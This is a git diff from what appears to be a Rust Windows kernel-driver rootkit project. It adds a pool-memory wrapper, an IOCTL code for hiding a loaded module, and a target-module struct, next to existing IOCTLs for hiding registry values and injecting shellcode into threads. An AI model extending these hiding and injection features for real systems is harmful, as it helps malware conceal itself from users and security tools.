\ No newline at end of file diff --git a/driver/src/utils/pool.rs b/driver/src/utils/pool.rs new file mode 100644 index 0000000..e89a243 --- /dev/null +++ b/driver/src/utils/pool.rs @@ -0,0 +1,28 @@ +use core::ffi::c_void; +use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS}; + +pub struct PoolMemory { + pub ptr: *mut c_void, +} + +impl PoolMemory { + #[inline] + pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option { + let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) }; + if ptr.is_null() { + None + } else { + Some(PoolMemory { + ptr, + }) + } + } +} + +impl Drop for PoolMemory { + fn drop(&mut self) { + if !self.ptr.is_null() { + unsafe { ExFreePool(self.ptr) }; + } + } +} \ No newline at end of file diff --git a/shared/src/ioctls.rs b/shared/src/ioctls.rs index f62140e..da81c01 100644 --- a/shared/src/ioctls.rs +++ b/shared/src/ioctls.rs @@ -45,6 +45,7 @@ pub const IOCTL_HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, M // Module pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS); // Injection pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS); diff --git a/shared/src/lib.rs b/shared/src/lib.rs index d6e705c..c63cef8 100644 --- a/shared/src/lib.rs +++ b/shared/src/lib.rs @@ -1,5 +1,7 @@ #![no_std] +extern crate alloc; + pub mod ioctls; pub mod vars; pub mod structs; \ No newline at end of file diff --git a/shared/src/structs/callback.rs b/shared/src/structs/callback.rs index 668e2c4..4518f97 100644 --- a/shared/src/structs/callback.rs +++ b/shared/src/structs/callback.rs @@ -1,4 +1,3 @@ -extern crate alloc; use crate::vars::Callbacks; // Callback Information for Enumeration (Output) diff --git a/shared/src/structs/driver.rs b/shared/src/structs/driver.rs index 8e76f5c..691abdd 100644 --- a/shared/src/structs/driver.rs +++ b/shared/src/structs/driver.rs @@ -1,5 +1,3 @@ -extern crate alloc; - use core::sync::atomic::AtomicPtr; use super::LIST_ENTRY; use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; diff --git a/shared/src/structs/injection.rs b/shared/src/structs/injection.rs index 8d88c17..8f27ccd 100644 --- a/shared/src/structs/injection.rs +++ b/shared/src/structs/injection.rs @@ -1,4 +1,4 @@ -extern crate alloc; + pub struct TargetInjection { pub pid: usize, diff --git a/shared/src/structs/module.rs b/shared/src/structs/module.rs index 920d376..81462e1 100644 --- a/shared/src/structs/module.rs +++ b/shared/src/structs/module.rs @@ -6,3 +6,11 @@ pub struct ModuleInfo { pub name: [u16; 256], pub index: u8, } + +// Enumerate Modules +#[repr(C)] +#[derive(Debug)] +pub struct TargetModule { + pub pid: usize, + pub module_name: alloc::string::String, +} diff --git a/shared/src/structs/registry.rs b/shared/src/structs/registry.rs index 64a38bc..fd141b5 100644 --- a/shared/src/structs/registry.rs +++ b/shared/src/structs/registry.rs @@ -1,5 +1,3 @@ -extern crate alloc; - // Stores the target registry #[repr(C)] #[derive(Debug, Default)]